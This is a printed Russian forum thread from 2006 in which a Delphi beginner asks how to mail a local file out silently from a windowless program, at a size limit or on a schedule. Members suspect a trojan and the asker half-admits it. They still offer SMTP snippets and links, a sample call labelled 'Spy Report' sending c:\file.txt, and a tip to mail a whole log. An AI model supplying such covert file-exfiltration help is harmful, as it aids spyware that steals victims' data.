Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате |
Форум программистов > Delphi: Сети > Скрытая отправка |
Автор: dark73 24.1.2006, 22:02 | ||
Нужна реализация скрытой отправки файла на е-мейл (например C:\myfile.txt(), прогу пишу без формы, вот нашел код на этом замечательном форуме, но не могу поять, куда вписывать мыло %) извените, дельфи только начал изучать
Вот полная ссылка откуда взял код: http://forum.vingrad.ru/index.php?showtopic=55273 Если кто может помочь, то скажите как связать это вот с этим http://forum.vingrad.ru/index.php?showtopic=80870 то есть автоматом отправлять файл при достижении его определнного размера. Или как можно замутить так, что бы файл сам отсылался, например 1н раз в неделю. Пишу без формы, так что таймер не поставишь =( |
Автор: RaIDeR 25.1.2006, 01:48 | ||||
Ну и пиши на компонентах ![]()
=) =) =) Для этого существует Api ф-ция SetTimer ;) ps Трояна пишешь ?) |
Автор: RA 25.1.2006, 15:16 |
function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean; SendEmail('John Kakashkin','[email protected]','Spy Report','c:\file.txt'); |
Автор: dark73 25.1.2006, 22:24 |
Извените,за мою наивность, но не могли бы вы привести полный код. И какие ф-ции кроме Windows надо подключать? |
Автор: bems 25.1.2006, 23:25 |
Прошу прощения, если лезу не в свое дело, но трояны обычно пишут через некоторое время ПОСЛЕ того как начинают изучать программирование |
Автор: dark73 25.1.2006, 23:34 |
А с чего ты вообще ты взял что ясобираюсь писать трояна? просьба не флеймить! |
Автор: ne0n 26.1.2006, 21:33 |
Да блин сразу все понятно! В основном такие потребности нужны для написания трояна! |
Автор: dark73 26.1.2006, 22:52 |
Блин, ладно раскусили, но это не совсем трой, мне для работы нужно. А не для какого-нить баловства |
Автор: RA 26.1.2006, 23:24 | ||||
посущесву: Да какая разница, что это и для чего, если вы языка программирования не знаете ![]() А учить вас этому тут врятли ктонить станет ... не посущесву: Хотя мир не без странных людей ![]() Добавлено @ 23:29 И вобще батенька вы промазали вам из той темы нужен был не тот код каторый вы тут показали а соседний тоесть этот: PS: счтиайте это напутствием ![]()
Добавлено @ 23:36 да кстати этот код выдранная часть из библиотеки (и отправляет письмо без аттача) CRTSOCK такчто вот оригинал, там всё есть -> http://tothpaul.free.fr/zip/CRTSOCK.ZIP |
Автор: dark73 27.1.2006, 00:01 | ||
Да, с программингом я только начал знакомиться... Блин, по моему я не верно заполнил поля ![]()
А как файл прикрепить? например c:\myfile.txt |
Автор: 0Max0 27.1.2006, 12:13 | ||
Да, это то, что мне надо, только вот код всё равно с ошибками =(
Вот ошибки [Error] Unit1.pas(28): Unknown directive: 'SendEmail' [Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas' Вроде всё должно работать, в чём ошибка ??? |
Автор: Snowy 27.1.2006, 12:52 | ||
1. Тупо вставляем в свою программу этот код: http://forum.vingrad.ru/index.php?showtopic=81019&view=findpost&p=628639 2.
Добавлено @ 12:53 P.S. вместо smtp нужно подставить адрес smtp сервера. |
Автор: 0Max0 27.1.2006, 13:29 | ||
не работает, попробуй у себя на компе, если не сложно
Вот ошиьбки [Error] Unit1.pas(39): Undeclared identifier: 'ulRecerved' [Error] Unit1.pas(83): Undeclared identifier: 'TRASConn' [Error] Unit1.pas(86): Undeclared identifier: 'RASConns' [Error] Unit1.pas(88): Undeclared identifier: 'Res' [Warning] Unit1.pas(89): Comparing signed and unsigned types - widened both operands [Error] Unit1.pas(98): Undeclared identifier: 'mail' [Error] Unit1.pas(98): Missing operator or semicolon [Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas' Скиньте пожалуйста исходник, а то что-то вообще не компилиться. |
Автор: Snowy 27.1.2006, 13:36 | ||
|
Автор: 0Max0 27.1.2006, 14:19 |
Всё прекрасно компилится, но письма не отсылаются, даже пакеты не отсылаются =( пробывал отсылать на разные ящики |
Автор: RA 27.1.2006, 15:20 |
Пардон я там выше не ту сцылку дал ![]() |
Автор: dark73 27.1.2006, 15:42 | ||
Попробывал этот код, тоже не пашет =(((
всё заполнено верно. У ктго-нить есть точно работающзий код ??? |
Автор: dark73 28.1.2006, 02:19 |
Попробуйте, кто-нить у себя на компе |
Автор: RA 28.1.2006, 14:05 |
Код рабочий ручаюсь, давно когда-то проверял. dark73 А зачем вы вписываете свои данные в процедуру вывода Хелпа? Вот в переменные загонять нужно : sHost :string; sFrom :string; sTo :string; sCc :string; sType :string; sSubject:string; sBody :string; boundary:string; PS - не обращайте внимания: Я вот думаю что без прохождения SMTP аутентификаци на некоторых серверах отправка me2me не принемается ![]() |
Автор: RaIDeR 29.1.2006, 06:13 | ||
Пример отправления почты с Яндекса, но только без аттача.(вместо аттача можно просто считать весь лог из файла, и отправить как обычно)
|
Автор: dark73 29.1.2006, 12:48 |
Списибо, всё пашет =) |